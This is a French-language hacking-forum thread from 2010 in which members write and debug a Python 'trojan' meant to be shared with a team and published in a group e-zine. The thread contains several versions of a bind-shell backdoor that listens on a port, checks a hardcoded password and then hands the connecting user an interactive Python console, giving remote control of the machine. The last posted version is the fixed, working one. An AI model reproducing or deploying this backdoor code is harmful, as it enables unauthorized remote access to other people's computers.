Announcement

HADOPI - Le Net en France : black-out

#1 24.02.2010 23:17:18

lin_hex77
Intervenant ponctuel
Registered: 24.02.2010
Posts: 21
Website

problème avec python

salut à tous!
j'ai découvert ce forum via HacKethiC, un magazine d'excellente qualité, pas lame et bien documenté.
Je suis en  train de me coder un petit trojan en python (pour mon usage personnel et ma team, si quelqu'un est intérréssé, qu'il me contacte).

Voici le code:

################################
#! /usr/bin/python
# -*- coding: iso8859-1 -*

from socket import *

import socket
port=6666
host=''

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
s.listen(2)
print "vous etes bien connecte sur le port %d, Ctrl-C pour quitter"%port

while 1:
     clsock,claddr=s.accept()
     
     clfile=clsock.makefile('rw',0)
     clfile.write("entrez le pass : ")
     mot=clfile.readline().strip()
     if mot =="root\n":
         import code, sys, os
         for f in range (3):
             os.dup2(clfile.fileno(),f)
             code.interact()
             sys.exit()
             clfile.close()
             clsock.close()

################################

Lors de la connexion via telnet, après avoir tapé 'root', plus rien ne se passe; je suis obligé de terminer le script directement.  J'ajoute que tout ceci se passe en localhost.
Quelqu'un peut-il m'aider? 

Merci d'avance.


Je pratique l'informatique linuxienne (comprendre "sans trop de problèmes"  wink  ) depuis 3 ans. Je fait partie d'une petite communauté (créée en Novembre 2009, elle s'appelle [pr0ceed] ). Vous pouvez nous rejoindre ici:
Sur Worldnet:  #pr0ceed-RDV ou #pr0ceed ou #Pr0ceed
Le site:  http://pr0ceed-lesite.toile-libre.org/     le forum:    http://forum-pr0ceed.toile-libre.org/

Offline

 

#2 26.02.2010 18:09:29

lin_hex77
Intervenant ponctuel
Registered: 24.02.2010
Posts: 21
Website

Re: problème avec python

UP !
personne ?


Je pratique l'informatique linuxienne (comprendre "sans trop de problèmes"  wink  ) depuis 3 ans. Je fait partie d'une petite communauté (créée en Novembre 2009, elle s'appelle [pr0ceed] ). Vous pouvez nous rejoindre ici:
Sur Worldnet:  #pr0ceed-RDV ou #pr0ceed ou #Pr0ceed
Le site:  http://pr0ceed-lesite.toile-libre.org/     le forum:    http://forum-pr0ceed.toile-libre.org/

Offline

 

#3 26.02.2010 19:06:02

7447
Nouvel arrivant
Registered: 14.01.2010
Posts: 6

Re: problème avec python

Le port peut être ? smile

Offline

 

#4 26.02.2010 19:11:27

lin_hex77
Intervenant ponctuel
Registered: 24.02.2010
Posts: 21
Website

Re: problème avec python

le port importe peu, du moment qu'il est supérieur à 1024, non?


Je pratique l'informatique linuxienne (comprendre "sans trop de problèmes"  wink  ) depuis 3 ans. Je fait partie d'une petite communauté (créée en Novembre 2009, elle s'appelle [pr0ceed] ). Vous pouvez nous rejoindre ici:
Sur Worldnet:  #pr0ceed-RDV ou #pr0ceed ou #Pr0ceed
Le site:  http://pr0ceed-lesite.toile-libre.org/     le forum:    http://forum-pr0ceed.toile-libre.org/

Offline

 

#5 26.02.2010 19:11:36

koreth
Membre d'ACISSI
From: Lille
Registered: 31.12.2006
Posts: 1001
Website

Re: problème avec python

Salut !

original wrote:

if mot =="root\n":

remplacement wrote:

if mot =="root":

Le "\n" n'est pas transmit via le réseau, il sert juste à valider une fin de tampon, et n'est pas pris dans la comparaison ...

Seb


Sébastien BAUDRU, alias Koreth
Linux est une simple question de VI ou de MORE
JabberID : koreth@jabber.acissi.net
http://www.drastic-securite.com

Offline

 

#6 26.02.2010 19:12:28

lin_hex77
Intervenant ponctuel
Registered: 24.02.2010
Posts: 21
Website

Re: problème avec python

ok merci beaucoup... je regarde ça!
C'est bon... j'ai une autre erreur maintenat, mais rien que je ne puisse régler! wink
Merci beaucoup ! wink

Last edited by lin_hex77 (26.02.2010 19:23:52)


Je pratique l'informatique linuxienne (comprendre "sans trop de problèmes"  wink  ) depuis 3 ans. Je fait partie d'une petite communauté (créée en Novembre 2009, elle s'appelle [pr0ceed] ). Vous pouvez nous rejoindre ici:
Sur Worldnet:  #pr0ceed-RDV ou #pr0ceed ou #Pr0ceed
Le site:  http://pr0ceed-lesite.toile-libre.org/     le forum:    http://forum-pr0ceed.toile-libre.org/

Offline

 

#7 27.02.2010 13:36:41

lin_hex77
Intervenant ponctuel
Registered: 24.02.2010
Posts: 21
Website

Re: problème avec python

C'est bon, ça à marché... je publierai ce [petit] trojan dans l'e-zine de pr0ceed.


Je pratique l'informatique linuxienne (comprendre "sans trop de problèmes"  wink  ) depuis 3 ans. Je fait partie d'une petite communauté (créée en Novembre 2009, elle s'appelle [pr0ceed] ). Vous pouvez nous rejoindre ici:
Sur Worldnet:  #pr0ceed-RDV ou #pr0ceed ou #Pr0ceed
Le site:  http://pr0ceed-lesite.toile-libre.org/     le forum:    http://forum-pr0ceed.toile-libre.org/

Offline

 

#8 19.03.2010 22:15:51

NarKo
Connaisseur
From: I'm in You =D
Registered: 21.12.2009
Posts: 106
Website

Re: problème avec python

Mouaiiii, moi je m'excuse mais pour avoir ne serais se qu'une toute petite chance de réussir un piratage avec ce code j'ai du le modifier presque entièrement hmm

Mais pas encore efficace puisque les FireWall laisse rien passer, donc j'ai crée un serveur wink

Je le posterais bien cela mais beaucoup de mauvaise expérience avec certain utilisateur du web ( que je ne citerais pas :S :k )


..✖Offset-Security Team<---> En construction wink✖..
http://ownthecookie.ow.funpic.de/image/cmd.gif

Offline

 

#9 23.04.2010 19:52:28

lin_hex77
Intervenant ponctuel
Registered: 24.02.2010
Posts: 21
Website

Re: problème avec python

salut NarKo !
En fait, il s'agit plus d'un essai en programmation réseau via python (je ne m'y était presque jamais essayé auparavant, aux sockets big_smile)... En ce moment, je le teste sous Window$, et j'ai une erreur : 
#
vous etes bien connecte sur le port 6666, Ctrl-C pour quitter
Traceback (most recent call last):
  File "C:\Documents and Settings\Compaq_PropriÚtaire\Bureau\trojanserver3.py",
line 27, in <module>
    os.dup2(clfile.fileno(),f)
OSError: [Errno 9] Bad file descriptor
#

En tout cas, si tu souhaite poster ta création, ce n'est pas moi ui t'en empêcherai  big_smile Suis pas hypocrite moi... :p

PS: je tiens à signaler que Compaq_PropriÚtaire n'est pas à moi... big_smile J'ai pas de Compaq...

Last edited by lin_hex77 (23.04.2010 19:55:22)


Je pratique l'informatique linuxienne (comprendre "sans trop de problèmes"  wink  ) depuis 3 ans. Je fait partie d'une petite communauté (créée en Novembre 2009, elle s'appelle [pr0ceed] ). Vous pouvez nous rejoindre ici:
Sur Worldnet:  #pr0ceed-RDV ou #pr0ceed ou #Pr0ceed
Le site:  http://pr0ceed-lesite.toile-libre.org/     le forum:    http://forum-pr0ceed.toile-libre.org/

Offline

 

#10 24.04.2010 00:21:09

NarKo
Connaisseur
From: I'm in You =D
Registered: 21.12.2009
Posts: 106
Website

Re: problème avec python

Ben le code de base c'est ça normalement smile

Code:

import socket

port=2989
host=''
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
s.listen(1)

print 'vous etes connecte sur le port %d,Ctrl-C pour quitter\n '%port

clsock,claddr=s.accept()
                clfile=clsock.makefile('rw',0)
                clfile.write("bonjour, bienvenue Sur ApoCalypS"+str(claddr)+"\n")
                clfile.write("entrez une commande SVP : ")
                mot=clfile.readline()
                if mot=="root\n":
                        import code, sys,os
                        for f in range(3):
                                os.dup2(clfile.fileno(),f)
                                code.interact()
                                sys.exit()
                                clfile.write("vous avez entrez un mot de %d caractere"%len(mot))
                                clfile.close()
                                clsock.close()

Voila j'espère ne avoir mélanger les codes, mais normalement c'est bon..
D'ailleurs Merci a Fasm et a ACISSI Pour m'avoir conseiller le python, le jour ou j'ai acheter ce livre wink s'etais le signe que l'Amazonie est fias pour moi big_smile


..✖Offset-Security Team<---> En construction wink✖..
http://ownthecookie.ow.funpic.de/image/cmd.gif

Offline

 

#11 24.04.2010 16:29:48

lin_hex77
Intervenant ponctuel
Registered: 24.02.2010
Posts: 21
Website

Re: problème avec python

Moi, après modif, j'ai ça:

Code:

#! /usr/bin/python
# -*- coding: iso8859-1 -*
#Coded by lin_hex77#

from socket import *

import socket
port=6666
host=''

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
s.listen(2)
print "vous etes bien connecte sur le port %d, Ctrl-C pour quitter"%port

while 1:
     clsock,claddr=s.accept()
     clfile=clsock.makefile('rw',0)
     #print("bonjour, bienvenue"+str(claddr)+"\n")
     clfile.write("entrez le pass : ")
     mot=clfile.readline().strip()
     
     if mot =="root":
         from code import InteractiveConsole 
         import code, sys,os, string
         for f in range (3):
          os.dup2(clfile.fileno(),f)
         code.interact()
         sys.exit()

     clfile.write("vous avez entre un mot de %d caracteres"%len(mot))
     clfile.close()
     clsock.close()

Je pratique l'informatique linuxienne (comprendre "sans trop de problèmes"  wink  ) depuis 3 ans. Je fait partie d'une petite communauté (créée en Novembre 2009, elle s'appelle [pr0ceed] ). Vous pouvez nous rejoindre ici:
Sur Worldnet:  #pr0ceed-RDV ou #pr0ceed ou #Pr0ceed
Le site:  http://pr0ceed-lesite.toile-libre.org/     le forum:    http://forum-pr0ceed.toile-libre.org/

Offline

 

#12 29.04.2010 04:06:43

frox
Connaisseur
Registered: 13.11.2008
Posts: 112

Re: problème avec python

Code:

print "vous etes bien connecte sur le port %d, Ctrl-C pour quitter"%port

ça serait plus, "vous écoutez bien sur le port ..."

Offline

 

#13 29.04.2010 09:25:31

lin_hex77
Intervenant ponctuel
Registered: 24.02.2010
Posts: 21
Website

Re: problème avec python

tu as raison big_smile
je corrige ça... non mais vraiment !  wink


Je pratique l'informatique linuxienne (comprendre "sans trop de problèmes"  wink  ) depuis 3 ans. Je fait partie d'une petite communauté (créée en Novembre 2009, elle s'appelle [pr0ceed] ). Vous pouvez nous rejoindre ici:
Sur Worldnet:  #pr0ceed-RDV ou #pr0ceed ou #Pr0ceed
Le site:  http://pr0ceed-lesite.toile-libre.org/     le forum:    http://forum-pr0ceed.toile-libre.org/

Offline

 

#14 28.06.2010 23:20:59

NarKo
Connaisseur
From: I'm in You =D
Registered: 21.12.2009
Posts: 106
Website

Re: problème avec python

Tu as trouver comment réparer ton Erreur Lin ? smile


..✖Offset-Security Team<---> En construction wink✖..
http://ownthecookie.ow.funpic.de/image/cmd.gif

Offline

 

#15 23.07.2010 19:01:01

lin_hex77
Intervenant ponctuel
Registered: 24.02.2010
Posts: 21
Website

Re: problème avec python

Merci, c'est bon Narko ! J'ai trouvé, et ça marche très bien. Je suis une discussion sur crack-wpa (enfin, avant que ça ferme sad ) qui devrait également me faciliter un peu la tâche... big_smile


Je pratique l'informatique linuxienne (comprendre "sans trop de problèmes"  wink  ) depuis 3 ans. Je fait partie d'une petite communauté (créée en Novembre 2009, elle s'appelle [pr0ceed] ). Vous pouvez nous rejoindre ici:
Sur Worldnet:  #pr0ceed-RDV ou #pr0ceed ou #Pr0ceed
Le site:  http://pr0ceed-lesite.toile-libre.org/     le forum:    http://forum-pr0ceed.toile-libre.org/

Offline

 

Board footer

Propulsé par FluxBB
Traduction par FluxBB.fr